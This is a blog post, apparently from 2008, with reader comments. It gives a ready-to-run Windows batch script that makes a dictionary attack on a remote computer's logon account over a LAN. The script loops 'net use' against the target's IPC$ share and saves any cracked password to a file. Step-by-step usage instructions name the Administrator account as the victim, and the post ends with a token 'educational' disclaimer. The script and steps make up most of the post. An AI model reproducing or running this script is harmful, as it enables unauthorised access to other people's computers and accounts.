Skip to content
November 12, 2008 / technocrawl

LAN Remote user – Dictionary Attack

Use this Batch file to launch a Dictionary attack and find the Windows logon Credentials in a LAN.
You need a Dictionary text file to proceed further to launch this attack successfully.

Just Follow the steps below,

1. Open up a Notepad file.
2. Copy and paste the below code and save it as a Batch file with .bat extension.

@echo off
if “%1″==”” goto fin
if “%2″==”” goto fin
del logfile.txt
FOR /F “tokens=1″ %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1\ipc$ %%i /u:%1\%2 2>>logfile.txt && ^
echo %time% %date% >> outfile.txt && ^
echo \\%1\ipc$ acct: %2 pass: %%i >> output.txt && goto end
echo *****Done*****

3. Make sure that you have a Dictionary Password Text file in the same location where you are going to execute this program. ( Name should be passlist.txt )
4. Now goto the command prompt and then execute this program from there, along with the Target compters IP address or Hostname and the Valid Username.

The Syntax should be like this,…
C:\>LANbrute.bat Administrator


LANbrute.bat – This is the Name of the batch file that resides in the C Drive. – IP Address of the Target Computer.

Administrator – Victim Account that you want to crack.

5. This program will start launching Dictionary Attack against the Adminstrator account on the Mahine, by using the passwords from the file passlist.txt and will not stop until it finds a right match.

6. If the right password was found, then it will save it in a text file named ‘output.txt’ on the same directory.

//Disclaimer : This is only meant for Educational Means, The members of this site is not responsible for whatever you do with this. //


Leave a Comment
  1. tye22 / Nov 18 2008 8:09 pm

    i’ve done what you said but every time i try it it says ‘@’ is not a recognized as an internal or external command, operable program or batch file help ?!

  2. heyhey223 / Nov 23 2008 1:19 am


  3. technocrawl / Nov 23 2008 4:57 am

    Everything is Checked before publishing in the blog, and it worked perfectly, most of the command prompt will support the ‘@’ symbol, else if you are using a Win 2000, sometimes you need to move into the Directory C:\Winnt\system32 to make use of all the commands and few won’t support. Check with the OS and try again.

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: